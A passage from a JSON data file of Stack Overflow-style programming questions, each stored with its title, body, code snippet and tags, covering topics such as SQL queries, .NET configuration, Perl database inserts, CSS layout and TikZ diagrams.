column using a custom concatenation function):\n'login1','login2',...'loginN'\
nHowever, when I run the query I get 0 rows returned; playing around with it it
appears that Excel is escaping the single quotes so the query as sent to the MySQL
server is:\n\n...which matches nothing.\nIs there any way to prevent the escaping,
or another approach to the \"SELECT...WHERE IN\" query that will work?\n", "SELECT
* FROM table WHERE login IN (?)\n", "mysql excel parameters odbc"], "2317116":
["How do I set a connection string config programatically in .net?", "I'd like to
set a connection string programmatically, with absolutely no change to any config
files / registry keys.\nI have this piece of code, but unfortunately it throws an
exception with \"the configuration is read only\".\n\nEdit:\nThe problem is that I
have existing code that reads the connection string from the configuration. So
setting the config string manually, or through a resource, don't seem like valid
options. What I really need is a way to modify the configuration programmatically.\
n", "ConfigurationManager.ConnectionStrings.Clear();\nstring connectionString
= \"Server=myserver;Port=8080;Database=my_db;...\";\nConnectionStringSettings
connectionStringSettings = \n new
ConnectionStringSettings(\"MyConnectionStringKey\", connectionString);\
nConfigurationManager.ConnectionStrings.Add(connectionStringSettings);\n", ".net
configuration connection-string"], "254660": ["Upload into database using Perl", "I
have the folling Perl script that I am using to import data directly into a
database form an html file. The file is called 'demo.htm'. The script works without
the databse connection part in that it strips off what I do not need. However now I
am trying to read in the html file and input into the database and these
adaptations are not working. The db, user and password are all 'demo' and it is
using a SQL server 2008 R2 database.\n\nAny help on where I have gone wrong with
this would be greatly appreciated. An example of the html is -\n\n", "use warnings;
\nuse strict; \nuse DBI;\nuse HTML::TreeBuilder; \n\nopen (FILE, \"demo\") || die
\"couldn't open the file!\";\nopen (F1, \">demo.htm\") || die \"couldn't open the
file!\";\nopen (F2, \">demo2.csv\") || die \"couldn't open the file!\";\n\n#
database name, user and password\nmy $data_source = q/dbi:ODBC:demo/;\nmy $user =
q/demo/;\nmy $password = q/demo/;\n\n# Connect to the data source and get a handle
for that connection.\nmy $dbh = DBI->connect($data_source, $user, $password)\nor
die \"Can't connect to $data_source: $DBI::errstr\";\n\nprint F1 \"Name\\|Lives
In\\|Commented\\n\";\nprint F2 \"Name\\|Lives In\\|Commented\\text\\n\";\n\nmy
$tree = HTML::TreeBuilder->new_from_content( do { local $/; <DATA> } ); \n\nfor
( $tree->look_down( 'class' => 'postbody' ) ) \n{ \nmy $location = $_-
>look_down( 'class' => 'posthilit' )->as_trimmed_text; \n\nmy $comment = $_-
>look_down( 'class' => 'content' )->as_trimmed_text; \n\nmy $name = $_-
>look_down( '_tag' => 'h3' )->as_text; \n\n$name =~ s/^Re:\\s*//; $name =~
s/\\s*$location\\s*$//; \n\nprint \"Name: $name\\nLives in: $location\\
nCommented: $comment\\n\"; } \n\n# This query generates a result set with one
record in it.\n#my $sql = \"SELECT 1 AS test_col\";\n\nmy $sql = \"insert into
demo2 values \\(Name, Lives In, Comeented, text)\";\n\nprint $sql;\nprint \"\\n\";\
n\n# Prepare the statement.\nmy $sth = $dbh->prepare($sql)\nor die \"Can't prepare
statement: $DBI::errstr\";\n\n# Execute the statement.\n$sth->execute();\n\n}\
nprint $b;\nprint \" end\\n\";\n\n# Disconnect the database from the database
handle.\n$dbh->disconnect;\n", "html perl upload database-connection"], "4839989":
["QString::toDouble() giving me double with wrong precision", "I have a QString
myNumber containing \"09338.712001\". When I do:\n, it returns 9338.71, but I want
the double to be the original value, which is 09338.712001. Does anyone know how to
get the double returned by toDouble to have the same precision as the QString?
Thanks. \n", "myNumber.toDouble();", "qt double precision qstring"], "2254295":
["Auto-Login and Legality Issues?", "I have a quandry, both on the tech and
legality side. What I'd like to do is auto-login to a site, submit a form request,
and then spider the information (I've checked the robots.txt, and since there isn't
one, am assuming this will be fine. I would need to call the company to ensure my
safety on the spidering of course.) The issue is that the login seems to follow
this pattern:\nSubmit part 1, javascript updates via postback (POST method, not
GET) to part 2. Part 2 is entered and postback occurs (Again, a POST request). The
next page is then routed to on appropriate login credentials. \nTech Question 1\
nUsing POST requests from a ajax on my server, I should be able to login if the
javascript does no hashing or other manipulation correct?\nTech Question 2\nIf the
javascript does do manipulation, is there a way to embed a javascript call within
the HttpRequest that would run the client-side javascript that comes from their
server so the manipulation occurs and then postsback as it normally would on manual
login?\nLegality Question\nThese feels a big hinky to me, like grey area that could
turn black. Does anyone have any idea on the legal ramifications or issues invovled
here? I could see potential for this to be considered a \"malicious\" hacking
attempt, although my intentions are only to gather information I already have
access to in an automated way. \nThanks in advance for any input.\n", "",
"javascript post login automation legal"], "2745905": ["javascript is enabled in
ALL webbrowsers by default?", "isnt javascript enabled in all webbrowsers by
default?\nif yes, does this mean that i can use ajax/javascript in my webpages
without bearing in mind that maybe some browsers wont be able to use my website?\ni
dont want to create another version of the page to display non javascript content.\
nwhat do you think?\nEDIT: it doesnt seem that gmail is working with javascript
disabled. and SO works bad with it disabled:)\n", "", "javascript browser"],
"2759178": ["Is Possible to convert the controls to Component or component to
control in winforms?", "Is Possible to convert the controls to Component or
component to control in winforms?And is possible to make transparent the button in
winforms?\n", "", "c# .net winforms"], "391108": ["Handling HttpClient Redirects",
"I'm POSTing some data to a server that is answering a 302 Moved Temporarily.\nI
want HttpClient to follow the redirect and automatically GET the new location, as I
believe it's the default behaviour of HttpClient. However, I'm getting an exception
and not following the redirect :(\nHere's the relevant piece of code, any ideas
will be appreciated:\n\n", "HttpParams httpParams = new BasicHttpParams();\
nHttpClientParams.setRedirecting(httpParams, true);\nSchemeRegistry schemeRegistry
= registerFactories();\nClientConnectionManager clientConnectionManager = new
ThreadSafeClientConnManager(httpParams, schemeRegistry);\n\nHttpClient httpClient =
new DefaultHttpClient(clientConnectionManager, httpParams)\nHttpPost postRequest =
new HttpPost(url);\npostRequest.setHeader(HTTP.CONTENT_TYPE, contentType);\
npostRequest.setHeader(ACCEPT, contentType);\n\nif (requestBodyString != null) {\n
postRequest.setEntity(new StringEntity(requestBodyString));\n}\n\nreturn
httpClient.execute(postRequest, responseHandler);\n", "java httpclient"], "925087":
["Calculating volume of convex polytopes generated by inequalities", "I have a set
of inequalities, I am looking for a way to compute its volume. More specifically, I
would like to compute the ratio of its volume with the volume if some more
inequalities were added. I have seen this question, I think however that half-plane
intersections can be general convex polytopes (not just simplexes, am I wrong?).\nI
do not think I can expect a formula, an efficient algorithm would do (even an
efficient one would be nice). Numerical method suggestions are also welcome.\n",
"", "geometry computational-geometry"], "5656794": ["Escape Character in SQL
Server", "I want to use quotation with escape character. How can I do? \nI have
received error in SQL Server\n\nUnclosed quotation mark after the\n character
string.\n\nI am writing sql query in a varchar variable but I have received that
error:\n\nUnclosed quotation mark after the\n character string.\n\nI want to use
quotation mark as escape char.\nThanks in advance\n", "", "sql-server escaping
char"], "2436000": ["nginx reload failing: `object version does not match bootstrap
parameter`", "I added a stanza to my , and now nginx seems to have a problem
reloading the config.\nAt this point I don't know what exactly is going wrong or
how to debug better. Any help would be most appreciated.\nThe config test
succeeds:\n\nI'm tailing the logfile. Upon reload, the following error is logged. \
nAs far as I can see, the new config is not used.\n\nThis is the version of nginx
I'm running:\n\nServer OS: CentOS release 6.3 (Final)\n", "server", "centos nginx
configuration"], "4170836": ["Is it possible to issue a wait command in a batch
file?", "I have a batch file that runs
several .cmd files. I would like to know if it is possible to have it wait 60
seconds or so before running the last one.\nThanks\n", "", "c# iis7 batch batch-
file cmd"], "653290": ["How can I display a grid of data in an AIR application?",
"I want to display a 20x20 grid of integer numbers in an AIR application. I am new
to ActionScript and AIR, so I am not sure how I could go about doing this.\n", "",
"actionscript air grid"], "883218": ["Unusual way of parameter passing in Scheme",
"I'm trying to implement a function in scheme that splits the given list with the
function that is also given as parameter to function. To exemplify:\n\nshould
return \nI'm pretty beginner in Scheme so it is really hard to understand how this
'function like' parameter works, and while implementing such a function what should
I do?\n", "(splitby '(\"a\" \"b\" \"cc\" \"ab\" \"abc\" \"a\" \"b\")\n
(lambda (x y) (= (string-length x) (string-length y))))\n", "scheme"], "2757906":
["Mac OS can't connect to SMB shares after sleep", "I used to access my local
Windows 2008 file server's SMB shares on my recent (3 weeks old) MacBook Pro
without problems. However, for a few days now, it fails to (re-)connect to the
server after it woke up from sleep mode.\nFinder just shows \"connecting...\" and
hangs indefinitely. The same thing happens when I try it from the command line ().
This happens via both WiFi and cable, I also tried turning networking off and back
on. The only thing that helps is a reboot.\nAny hints?\nEdit to clarify: It's the
Mac that's being put to sleep, not the server. I also found out that if I
disconnect the shares before I put it to sleep, it will be able to reconnect after
waking up.\nAnother Edit:\nI did some more investigation and sniffed the network
traffic. The Mac sends NetBIOS name queries and a status request (NBSTAT) to the
server, the server responds, everything seems fine. After that, the Mac should open
a SMB connection, but it doesn't do anything. No more packets follow.\nI then found
out that the real problem lies deeper. It seems it doesn't open a new connection
because it thinks the old one, which has of course timed out on the server side, is
still active. However, any program that tries to access its mount point or just the
/Volumes directory hangs and can't even be killed. - hangs. - hangs. any of
these - doesn't help. Also, opening a file open dialog in any application causes it
to hang as well!\nThe only thing that helps is a hard reboot. It seems to me
there's something fundamentally wrong in OSX's SMB implementation if a timed out
connection can trigger something like this.\n", "mount -t smbfs", "osx osx-snow-
leopard network-shares sleep smb"], "2744141": ["Passing SWT token from Azure ACS
to my application", "I have created an ASP.NET MVC 4 WebApi application, which uses
claims based authentication, and uses Azure ACS as a federated authentication.
Everything works fine out of the box, by that I mean that I have configured my
Azure ACS as an STS reference, I have added class for SWTSecurityTokenHandler to be
able to read SWT tokens from ACS, and now when I go into a secure address in my
browser, I get redirected to ACS page where I can select my Identity provider,
after selecting one I log in to this IdProv, and then I get redirected to my
application, which can read claims from the generated token.\nNow my problem is,
that I am trying to reimplement the same request->redirect->response path (from
some identity provider to ACS and to my application) using just fiddler to imitate
the requests and responses. I was able to get a token from my IdProv, pass it to
ACS, and get an SWT token from ACS. \nBut in whatever way I try to pass the ACS
token to my application, it always redirects me to ACS IdProv selection page. I
have no idea how to pass the token, so my application would try to use it. Can you
guys instruct me on that?\nI am asking about it, because I will want to create a JS
client, which will invoke this login logic later on, that's why I won't be able to
use ACS IdProv selection screen.\nAm I doing something wrong, or my whole logic (to
pass the token) is wrong? I would really appreciate some assistance, I have been
struggling with that for almost a week now. \
n---------------------------------------
UPDATE------------------------------------------\nI have tried to create something
similar to what is shown in this ACS example:
http://msdn.microsoft.com/en-us/library/hh674475\nIt is an example showing how to
get an OAuth token from ACS, and I have managed to get a token from my ACS using
this code: http://pastebin.com/tyTdNVCf\nAnd the final version of the code, tries
to pass the obtained token to my application (running on localhost) but my
application always returns the ACS IdProv selection page as a response. I have no
idea what am I doing wrong...\n", "", "asp.net azure asp.net-mvc-4 asp.net-web-api
claims-based-identity"], "4389443": ["What is the upper limit of WorkflowInstances
that I may have instantiated at one time?", "Is there an upper limit on the number
of instances of WorkflowInstance I may have running at one time?\nI am using .Net
3.5 and C# (not that the language should make a difference.)\nPlease note that I am
not suggesting that it is a good design to many running at once, I am simply
curious about the upper limit, if one exists. \n", "", "c# .net workflow workflow-
foundation"], "925080": ["How to refresh an iframe not using javascript?", "I have
an iframe which I would like to refresh every fifteen seconds, but I'm not sure how
to do this or if it is even possible. If it is, how would I go about doing this
without the use of JavaScript. If JavaScript is necessary then please post how I
would do it in JavaScript. Thank you.\n", "", "iframe refresh"], "4153079": ["How
to remotely connect using perfmon?", "Suprised there is not a ton of information on
google when i search for this but there is not. Lot of people asking the question
but i none of them have any good answers. \nI have a remote computer running hyper-
v (server) running a Windows 7 x64 guest (guest). Occasionally i won't be able to
remote desktop to guest. I will then remote to server and see that the guest
instance is constantly using about 25% of the cpu. WHen i try to connect directly
from server i will get the login screen but as soon as i type the password in it
will just stay at the windows 7 login screen but the account names will disappear
and it will not log in. It responds to pings though. I don't know how else to
diagnose other than trying to run perfmon remotely. It only happens like every 3
weeks and i run it 24/7.\nSo i'm trying to run remote desktop remotely. I tested
this out on a local vm i have running under vmware. When i try to connect using
perfmon to my local vm i get this error:\n\"when attempting to connect to the
remote computer the4 following system error occurred: the network path was not
found\"\nI found in another past to start the remote registry service and when i
start the service i get this error:\n\"No such interface supported\"\nAnyways, how
do i remotely connect to another machine with perfmon or if anyone has a better
idea how i can diagnose the problem above then let me know.\n", "", "remote
perfmon"], "3506506": ["UIWebView doesn't show the last tweets anymore", "I display
tweets in the UIWebView using method loadHTMLString where in the html I use
twitter widget.\nThe code has worked well until yesterday. Now in stead of last
tweets the white screen is shown.\n\nP.S. the widget displays the tweets if I
insert it into online html editor. http://htmledit.squarefree.com/\nhtml code:\n\
n", "html=@\"<script charset=\\\"utf-8\\\"
src=\\\"http://widgets.twimg.com/j/2/widget.js\\\"></script> <script> new
TWTR.Widget({ version: 2, type: 'profile', rpp: 4, interval: 30000,
width: 250, height: 300, theme: { shell: { background: '#333333',
color: '#ffffff' }, tweets: { background: '#000000', color: '#ffffff',
links: '#4aed05' } }, features: { scrollbar: false, loop: false,
live: false, behavior: 'all' } }).render().setUser('chetassofa').start();
</script>\";\n[self.webView loadHTMLString:html baseURL: nil];\n[self.webView
setDelegate:self];\n", "ios uiwebview twitter-api widget"], "1571228": ["Event on
visual element destruction in flash builder?", "I need to run some code when a
panel is destroyed. The code is simple, I have some Background tasks while it is
opened, but need to stop them when closed.\nI have a Close button for the panel,
and I stop the BG Tasks when the user wants to close the panel, the problem is that
they have access to a top menu bar too and can jump to another application
module/part throught it, so, the user can exit the panel (when exiting, the panel
is automatically destroyed) but the panel close event code is not executed because
the close button was not pressed.\nOne solution could be to inherit from panel and
add a post step method that is called when swapping modules, etc... So, if the user
wants to move to another place through the menu bar, my system will first call
sometihng like PreEnd() method on the panel and everything will be solved. But, is
there any event that I could catch from the panel when it is destroyed to
accomplish this? I have been checking the documentation but couldn't find anything
useful to achieve what I explain.\nThanks in advance.\n", "", "flex flex3 flex4
flash-builder flex4.5"], "276584": ["What COM support is needed to get my custom
DirectShow filter property page to work for a remote filter from the Running Object
Table", "I have some custom DirectShow filters with custom property pages. These
work fine when the filter is in the same process as the property page.\nHowever
when I use the 'connect to remote graph' feature of Graph Edit the
property pages don't work. \nWhen the property page does a QueryInterface for my
private COM interface on the remote filter, the QueryInterface fails. Property
pages of Microsoft filters (e.g. the EVR video renderer) work fine so it must be
possible.\nPresumably this is happening because my filter's private interfaces only
work 'in process' and I need to add extra COM support so that these interfaces will
work with an 'out of process' filter. What do I need to do in COM terms to achieve
this? \nDo the DirectShow baseclasses support these COM features? Can I reliably
detect when the filter is running out of process and refuse to show the property
page gracefully?\n", "", "com directshow"], "5947325": ["JDeveloper can't find
method for f:view's beforePhase", "Using JDev 11.1.1.3.0. I select the tag in the
source, go to the method expression builder for and select my method from the
backing bean (which has the correct signature, otherwise it wouldn't even show up
in the method expression builder). Still, JDev gives me the error \"Reference
'method_name' not found\".\nSeems to be the same problem as mentioned in this
thread on the Oracle forums.\nAny ideas? Is this a JDev bug or am I screwing up the
definition of the phase listener?\n", "f:view", "java jsf jdeveloper"], "4403179":
["Induction and Integral Question (sum of 5th powers, integral of $x^5$)", "I am
quite lost on this question:\n\n(a) For $n\\in \\mathbb{N}$, use induction to show
that\n$$\\sum_{k=1}^{n}k^{5}=\\frac{2n^{6}+6n^{5}+5n^4-n^2}{12}$$\n(b) Fix $b>0$.
Use the definition of the definite integral together with the Riemann partition $
$P_{n}:=\\left \\{ (x_{k},\\left [ x_{k-1},x_{k} \\right ]) \\right \\}$$\n where
$x_{k}:=\\frac{kb}{n}$ for $0\\leq k\\leq n$, to compute $\\int_{0}^{b}x^{5}dx$\n\
nI know with induction that I should be starting with a base case, like $n=1$. My
textbook has 1-2 pages about induction but I am not able to properly understand and
apply it here. Part (a) must help with the solving of part (b)\n", "", "calculus
induction"], "4168999": ["How exactly does k-means++ work?", "I am having trouble
fully understanding the k-means++ algorithm. I am interested exactly how the first
k centroids are picked (the rest is like in the original k-means).\n\nIs the
probability function used based on distance or Gaussian? \nIn the same time the
most long distant point (from the other centroids) is picked for a new centroid.\n\
nI will appreciate a step by step explanation and an example. The one in Wikipedia
is not clear enough. Also a very well commented source code would also help. If
you are using 6 arrays then please tell us which one is for what.\n", "",
"algorithm language-agnostic machine-learning cluster-analysis k-means"], "677635":
["How multicasting grouping address works ? How can I add nodes to the existing
group of multicasting group?", "I am a newbie to the networking and working on the
6LoWPAN protocol and I am trying to get the multicasting to work on the network.
But I don't know how to create group for multicasting and how to provide a group ID
to the device which wants to join the multicast group.\n", "", "networking ipv6
multicast"], "1096327": ["Server-side rendering using blender and twisted
(python)", "The project I am working on at the moment basically takes in an image
and then renders a video using blender from the command line. At the moment I am
using Twisted to deal with the requests but there is certainly something that I am
doing wrong as it is not working how I would like it to. You can see the jist of
the program here (I have stripped out anything unnecessary).\nThe blender render is
done by spawning a subprocess (I am aware Twisted can handle processes) along with
a python script to configure the render and use the image provided as a texture.\
nThe program needs to be able to handle as many connections as possible. At the
moment the subprocess does one render at a time but ideally it would check
CPU/number of parallel renders and adjust the number to the optimum. Each render is
custom to the user so once a users render is complete they should get their render
back (an avi file).\nMy question is: Is Twisted the right choice for this? Are
there any other options? If not, is my implementation of the system flawed? I would
appreciate any thoughts or opinions on this!\n", "", "python rendering twisted
blender"], "3924097": ["Find and select xml attribute between two files using
PowerShell", "I have two xml files.\nFile1.xml:\n\nFile2.xml:\n\nI know the value
of the assetTitle in File1.xml (\"Title1\"). I need to use that value to get/select
the value of fileAssetGuid (\"guid1\") in file1.xml. I then need to use the value
(\"guid1\") of fileAssetGuid in file1.xml to locate the id (\"guid1\") in
file2.xml.\nHow do I accomplish this in PowerShell?\n", "<fileAsset
fileAssetGuid=\"guid1\" assetTitle=\"Title1\" />\n<fileAsset
fileAssetGuid=\"guid2\" assetTitle=\"Title2\" />\n<fileAsset
fileAssetGuid=\"guid3\" assetTitle=\"Title3\" />\n", "xml powershell attributes"],
"3901470": ["Moving CGPaths by x,y pixels?", "Is there a way to move a path on
screen by (x,y) pixels using directly a CGPathRef instead of walking through its
points and lines again in drawRect method? I want to be reusing my old CGPathRef
when I want to move it on screen instead of recreating it with new pixels.\n", "",
"iphone cocoa-touch drawing core"], "3984132": ["div overlapping/misplaced", "I
have a footer on my page, where the content is placing correctly, under div#main
(which includes div#left and div#right), but the background (the big blue thing) is
placed way over div#main.\nI have tried display:block and z-indexing the divs, to
no avail.\nAnyone have any idea what's going on?\nCode: \n\n", "body {\n
background:url(aaa-bg.jpg) repeat-x #e7e9e9;\n margin:0;\n padding:0;\n
color:#383838;\n font:12pt verdana;\n}\n\nimg {\n border:0;\n}\n\na:link {\n
color:#e29511;\n text-decoration:none;\n}\n\na:hover {\n color:#e29511;\n text-
decoration:underline;\n}\n\na:visited {\n color:#808080;\n}\n\n\n/* header
------------------------------------------------------------------------------ */\
n\n#header {\n margin:10px auto 10px;\n width:800px;\n height:97px;\n}\n\n/* nav
------------------------------------------------------------------------------ */\
n\n#nav {\n width:800px;\n margin:0px auto 3px;\n height:30px;\n}\n\n#nav ul {\n
margin:0 0px 0px 0;\n padding:0;\n list-style:none;\n}\n\n#nav ul li {\n
width:140px;\n height:20px;\n padding:5px 0 5px 0;\n float:left;\n margin:0
10px 0 0;\n background:#cdcdcd;\n color:#000000;\n position:relative;\n z-
index:99999;\n text-align:center;\n border-top-left-radius:10px;\n border-top-
right-radius:10px;\n border-top:3px solid transparent;\n border-left:3px solid
transparent;\n border-right:3px solid transparent;\n}\n\n#nav ul li:hover {\n
cursor:pointer;\n border-top:3px solid #e29511;\n border-left:3px solid #e29511;\
n border-right:3px solid #e29511;\n}\n\n#nav ul li.home {\n width:140px;\n
height:20px;\n padding:5px 0 5px 0;\n float:left;\n margin:0 10px 0 0;\n
background:#cdcdcd;\n color:#000000;\n position:relative;\n z-index:99999;\n
text-align:center;\n border-top-left-radius:10px;\n border-top-right-
radius:10px;\n border-top:3px solid transparent;\n border-left:3px solid
transparent;\n border-right:3px solid transparent;\n}\n\n#nav ul li.home:hover {\n
cursor:pointer;\n -moz-box-shadow: 5px 5px 2px #656565;\n -webkit-box-shadow: 5px
5px 2px #656565;\n box-shadow: 5px 5px 2px #656565;\n}\n\n\n#nav ul li ul {\n
width:140px;\n margin:5px 0 0 -3px;\n float:left;\n -moz-box-shadow: 5px 5px 2px
#656565;\n -webkit-box-shadow: 5px 5px 2px #656565;\n box-shadow: 5px 5px 2px
#656565;\n background:url(aaa-navbg3.png) repeat-x #ffffff;\n border-bottom:3px
solid #e29511;\n border-left:3px solid #e29511;\n border-right:3px solid
#e29511;\n}\n\n#nav ul li ul li {\n width:140px;\n font-weight:normal;\n font-
size:10pt;\n background:none;\n border-top:1px solid #808080;\n border-
left:none;\n border-right:none;\n border-top-left-radius:0px;\n border-top-
right-radius:0px;\n}\n\n#nav ul li ul li:hover {\n background:url(aaa-libg2.png)
repeat-x;\n border-top:1px solid #808080;\n border-left:none;\n border-
right:none;\n}\n\n\n/* toppane
------------------------------------------------------------------------------ */\
n\n#toppane {\n width:100%;\n height:210px;\n background:url(aaa-toppane3.jpg)
repeat-x;\n padding:20px 0 20px;\n margin:0px 0 20px 0;\n position:relative;\n
z-index:-1;\n border-top:1px solid #000000;\n border-bottom:1px solid #000000;\
n}\n\n#toppane-inner {\n width:800px;\n height:210px;\n margin:0px auto;\n}\n\
n/* slideshow
------------------------------------------------------------------------------ */\
n\n#window {\n clear:both; \n width:800px; \n height:210px; \n overflow:hidden;
\n position:relative; \n margin:0;\n padding:0;\n}\n\n#slideshow {\n
width:1600px; \n height:420px; \n overflow:hidden; \n position:relative;\n
margin:0;\n padding:0;\n}\n\n#slideshow li { \n width:800px; \n height:210px; \n
float:left; \n display:inline;\n margin:0;\n padding:0;\n}\n\n/* main
------------------------------------------------------------------------------ */\
n\n#main {\n width:800px;\n margin:5px auto;\n padding:0px;\n}\n\n#left {\n
width:390px;\n margin:0 20px 0 0;\n padding:0px;\n float:left;\n}\n\n#right {\n
width:390px;\n font-size:11pt;\n margin:0;\n padding:0px;\n float:right;\n}\n\
n#right img {\n margin:0 0 5px 0;\n}\n\n#right a:link {\n text-decoration:none;\n
color:#383838;\n}\n\n#right a:hover {\n text-decoration:none;\n color:#383838;\
n}\n\n#right a:visited {\n text-decoration:none;\n color:#383838;\n}\n\nh2 {\n
width:390px;\n font:14pt verdana;\n border-bottom:1px solid
#383838;\n margin:0 0 5px 0;\n text-align:right;\n}\n\n.segment {\n margin:0 0
40px 0;\n}\n\n#footer {\n background:blue;\n width:800px;\n margin:30px auto;\n
color:#ffffff;\n}\n\n#footer table {\n width:800px;\n}\n\n#footer tr {\n
width:800px;\n}\n\n#footer td {\n width:200px;\n}\n", "css css-float overlap"],
"1941403": ["Adding arrows, text, and overlaying to two nodes pointing to the same
node in beamer and tikz", "I would like to create a diagram similar
to:\nhttp://www.texample.net/tikz/examples/marketing-distribution-channel/\
nInstead, I would like for the 2 nodes at the bottom to point to the top node, and
I cannot get them to do so unless they overlap.\nAlso, I'd like to add text just as
in the link, like the test Participation Rate in that link that is just aside the
arrows. However, every time that I add text, the nodes shift so far to the right
that some are no longer on the screen. \nThe other thing that I would like to do
is after I've shown all of the nodes, I'd like to put up a new frametitle. I was
thinking only or uncover may do the trick but it does not seem to. I'd also like
to add some text with bullets. Yet, it does not seem to follow the same spacing
and font. See overlay 5 versus Slide 2.\nI would be grateful for any help.\n\
nEDIT: using the code in the answer, there still seems to be a problem with long
text in one of the nodes:\n\n", " \\documentclass{beamer}\n \\mode<presentation>\
n \\usetheme{CambridgeUS}\n \\useoutertheme{miniframes}\n \\usepackage{color}\n\n
\\usepackage{tikz}\n \\
ussetikzlibrary{arrows,shapes,positioning,fit,shapes.misc,matrix,decorations.text,s
hapes.geometric}\n\n\n \\begin{document}\n\n \\tikzstyle{every picture}+=[remember
picture]\n \\tikzstyle{labels} = [font=\\footnotesize, text centered,red]\n \\
tikzstyle{pointer} = [->,red, thick, >=latex']\n \\tikzset{onslide/.code
args={<#1>#2}{%\n \\only<#1>{\\pgfkeysalso{#2}} % \\pgfkeysalso doesn't change the
path\n }}\n\n \\frame\n {\n \\frametitle{Frame Title Goes Here}\n \\
begin{figure}\n \\centering\n \\begin{tikzpicture}[node distance=1cm, auto] \n\
n \\tikzset{\n mynode/.style={rectangle,rounded corners,draw=black, top
color=white, bottom color=yellow!50,very thick, inner sep=1em, minimum
size=2em, text centered},\nmyarrow/.style={->, >=latex', shorten >=1pt, very
thick},\n mylabel/.style={text width=10em, text centered} \n } \n \\uncover<1-
4>{\\node[mynode, align=center,draw,onslide=<1-3>] at (0,0) (a) {Line 1\\\\Line
2};}\n \\uncover<1-3>{\\node[mynode, align=center,draw,onslide=<1-3>] at
(4.75,0) (b) {Line 1\\\\Line 2};}\n \\uncover<1-3>{\\draw[myarrow] (a) --
(b);}\n \\uncover<2-3>{\\node[mynode, align=center,draw,onslide=<2-3>] at (-2,-
3.75) (c) {Line 1:\\\\Line 2};\n \\uncover<2-3>{\\node[below=-1.35cm of c]
(dummy) {};}\n \\uncover<3-3>{\\node[right=-0.35cm of c] (dummy2) {};}\n \\
uncover<2-3>{\\node[mylabel, below = of dummy](label1){\\hspace{0.10cm}\\
hyperlink{eac<1>}{\\beamergotobutton{Literature}}};}\n \\uncover<2-3>{\\
draw[myarrow] (c.north) -- +(0,0) -- ++(0,1) -| (a.south);}}\n \\uncover<3-4>{\\
node[mynode, align=center,draw,onslide=<3-3>] at (2,-3.75) (d) {Line 1\\\\Line 2};\
n \\uncover<3-4>{\\node[right=-0.35cm of d] (dummy3) {};}\n \\uncover<3-4>{\\
draw[myarrow] (d.north) -- ++(0,0) -- ++(0,1) -| (a.south);}}\n\n \\
end{tikzpicture} \n \\end{figure}\n \\uncover<6-6>{Test}\n }\n\\end{document}\n",
"tikz-pgf beamer arrows nodes"], "3486732": ["What web programming languages are
capable of making this web app?", "I'm exploring many technologies, but I would
like your input on which web framework would make this the easiest/ most possible.
I'm currently looking to JSP/JSF/Primefaces, but I'm not sure if that is capable of
this app.\nHere's a basic description of the app:\n\nUsers log in with their
username and password (maybe I can somehow incorporate OPENID)?\nWith a really nice
UI, they will be presented a large list of questions specific to a certain
category, for example, \"Cooking\". (I will manually compile this list and make it
available.)\nWhen they click on any of these questions, a little input box opens up
below it to allow the user to put in a link/URL.\nIf the link they enter has the
same question on that webpage the URL points to, they will be awarded one point.
This question then disappears and gets added to a different page that has a list of
all correctly linked questions.\nOn the right side of the screen, there will be a
leaderboard with the usernames of the people with the top ten points.\n\nThe idea
is relatively simple - to be able to compile links to external websites for
specific questions by allowing many people to contribute.\nI know I can build the
UI easily with Primefaces. [B]What I'm not sure is if JSP/JSF gives the ability to
parse HTML at a certain URL to see if it contains words.[/B] I can do this with
python easily by using urllib, but I can't use python for web GUI building (it is
very difficult). What is the best approach?\nAny help would be appreciated!!!
Thanks!\n", "", "python web-applications jsf jsf-2.0 primefaces"], "3032468":
["Finding near neighbors", "I need to find \"near\" neighbors among a set of
points.\n\nThere are 10 points in the above image. Red lines are edges from the
Delaunay Triangulation, black stars mark the mid-lines of the edges, blue lines are
the Voronoi tesselation. Point 1 has three \"near\" neighbors, i.e. 4, 6, and 7,
but not 2 and 3, who are almost in line with the edge 1-7, but much further away. \
nWhat is a good way to identify the near neighbors (or \"good\" edges)? Looking at
the figure, it seems to me that either selecting edges whose mid-point falls onto
the intersection with the Voronoi lines, or considering as \"near\" neighbors those
with touching Voronoi cells could be a good solution (the classification of 3-5 can
go either way). Is there an efficient way of implementing either of the solutions
in Matlab (I'd be happy to get a good general algorithm that I can then translate
to Matlab, btw)? \n", "", "matlab computational-geometry nearest-neighbor delaunay
voronoi"], "2197152": ["Will this Post/Tag DB schema cause problems later?", "I'm
planning a new service for my ASP.NET MVC app and want to use tags. I've never
really been too fond of tags, but SO delivers so I'll give it a shot.\nHere's the
simplified schema I'm thinking about:\n\nThen I'd LINQ query something like:\n\
nObviously, this is super simple, but would do what I need. Do you see any glaring
problems with this? Likely performance, I'd imagine .Contains() isn't exactly
fast.\nUPDATE\nI plan to have a pre-built array of allowable tags that the user can
pick from.\n", "Post Table\n------------------\nPK PostId BigInt (or perhaps
uniqueidentifier)\n...more post related fields...\nTags nvarchar(200)\n", "c# sql
asp.net-mvc linq schema"], "4436245": ["I want to mod how IE generates cookies",
"There are two different websites that people use, let's call them A and B. Now, as
far as login page goes, A and B are nearly identical in design, but the user
account logins for A and B are stored in separate datatables and information is
different. When someone logs into A, IE will store their info in a cookie and will
call it when going on B, even though they are not the same. Nowhere in the login
web forms can I find code for generating the cookie, so I am assuming that
everything is done within IE. I found the file 'index.dat' that supposedly stores
all of IE's cookies in each user's AppData folder, but I do not know how to access
it, let alone change the way IE stores the cookies. \nMy goal is for IE to have
distinct cookies for A and B.\n", "", "c# asp.net internet-explorer"], "4086143":
["Combine multi rows into one but have new row based on value", "I want to combine
multi rows into one but have a new row when a certain value appears in a field see
example data below\nhow data is currently in table\n\nhow I want the data to look
like\n\nSo every time a 1 appears in the QueNumber field it's a new record. I know
it has something to do with a CTE query but I've never really used them and am
totally stuck\n", "IncomingNumber QueNumber Datetime\n-------------- ---------
-------------------\n12345678 1 2012-01-01 09:01:00\n12345678
2 2012-01-01 09:02:00\n12345678 3 2012-01-01 09:05:00\
n12345678 2 2012-01-01 09:07:00\n12345678 3 2012-01-
01 09:08:00\n12345678 1 2012-01-01 09:10:00\n12345678 2
2012-01-01 09:11:00\n12345678 3 2012-01-01 09:13:00\n09876543
1 2012-01-01 09:01:00\n09876543 2 2012-01-01 09:02:00\
n09876543 1 2012-01-01 09:05:00\n09876543 2 2012-01-
01 09:06:00\n09876543 3 2012-01-01 09:08:00\n", "sql common-table-
